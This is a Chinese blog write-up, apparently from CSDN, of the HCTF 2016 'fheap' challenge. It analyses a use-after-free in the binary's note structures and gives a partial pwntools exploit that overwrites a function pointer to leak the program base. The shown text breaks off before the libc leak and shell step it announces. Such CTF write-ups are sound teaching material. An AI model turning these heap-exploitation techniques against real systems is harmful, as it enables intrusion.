2016 hctf fheap

本文详细介绍了在2016年HCTF中遇到的一道关于fheap的题目,重点讨论了未初始化的Use-After-Free(UAF)漏洞。通过IDA分析数据结构,揭示了程序中的问题,如未清零指针导致的删除节点后仍可访问。接着,解释了如何利用这个漏洞,通过构造堆块溢出到函数指针区域,执行puts函数泄露程序基址。最后,讨论了通过格式化字符串漏洞泄漏libc基址并实现getshell的方法,强调理解程序数据结构和思路的重要性。
摘要由CSDN通过智能技术生成

前言

好久没写东西了,本想着简单记录一下,不过在做这题的时候,弄懂了之前困扰许多的问题,所以就多写一些吧,在此感谢俺的女票@曙雀

UAF

IDA分析后,得到数据结构如下。

note:

00000000 note            struc ; (sizeof=0x20, mappedto_9)
00000000 content_ptr     dq ?
00000008 field_8         dq ?
00000010 str_size        dd ?
00000014 field_14        dd ?
00000018 func            dq ?                    ; offset
00000020 note            ends

note_chunk:

00000000 note_chunk      struc ; (sizeof=0x10, mappedto_8)
00000000                                         ; XREF: .bss:stru_2020C0/r
00000000 in_use          dd ?
00000004 field_4         dd ?
00000008 note_ptr        dq ?
00000010 note_chunk      ends

如图所示:

1

note结构体中需要声明func变量为函数指针。

函数指针的C语言格式为typedef int (*func_ptr)(int,int),结合上下文

设置nodefunc变量的类型为void (*func)(struct note *)

设置note_chunknote_ptr变量的类型为note *note_ptr

现在程序中相关的数据结构已经分析清楚,需要对代码进行进一步的分析。

程序主要有createdelete两个函数:

delete函数:

2

首先【1】处没有将note_chunk中的note_ptr指针清零,其次对note进行free后,也未将note结构体中的数据进行清零,【2】处结合【1】处,从而可以随意delete已经删除的节点。

create函数:

在这里插入图片描述

通过构造合适大小的堆块(要知道实际chunk的大小和申请的大小不一定是一样的,final_chunk_mem_size=0x20),通过【3】溢出到note的func部分的后几个字节,使之变成puts函数,构造puts(note)从而泄漏出程序运行基址。

这部分的思路如下:
create(p, 0x30, "1"*0x30)
create(p, 0x30, "2"*0x30)
delete(p, 1)
delete(p, 0)
# [0] leak real_base_addr
# overlapping puts_off = 0x990 chunk  1/16 0x?990
# debug("b *{:#X}\nb *{:#X}\nc 5".format(create_addr, call_eax_addr))
# debug()
create(p, 0x20, b"b"*0x18+p16(0x4990)+b"\x00")
delete(p, 1)
real_base_addr = u64(p.recvuntil(
"\x0a")[-7:-1].ljust(8, b'\x00')) - elf.plt["puts"]
success("real_base_addr ==> {:#x}".format(real_base_addr))
printf_addr = real_base_addr + elf.plt["printf"]
success("printf_addr ==> {:#x}".format(printf_addr))
delete(p, 0)

目前我们已经具备了写堆块,并执行相关函数的能力,我们的最终的目的是执行system('/bin/bash'),但是目前我们仅绕过了PIE获取到了程序加载的基地址,还无法获取lib

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值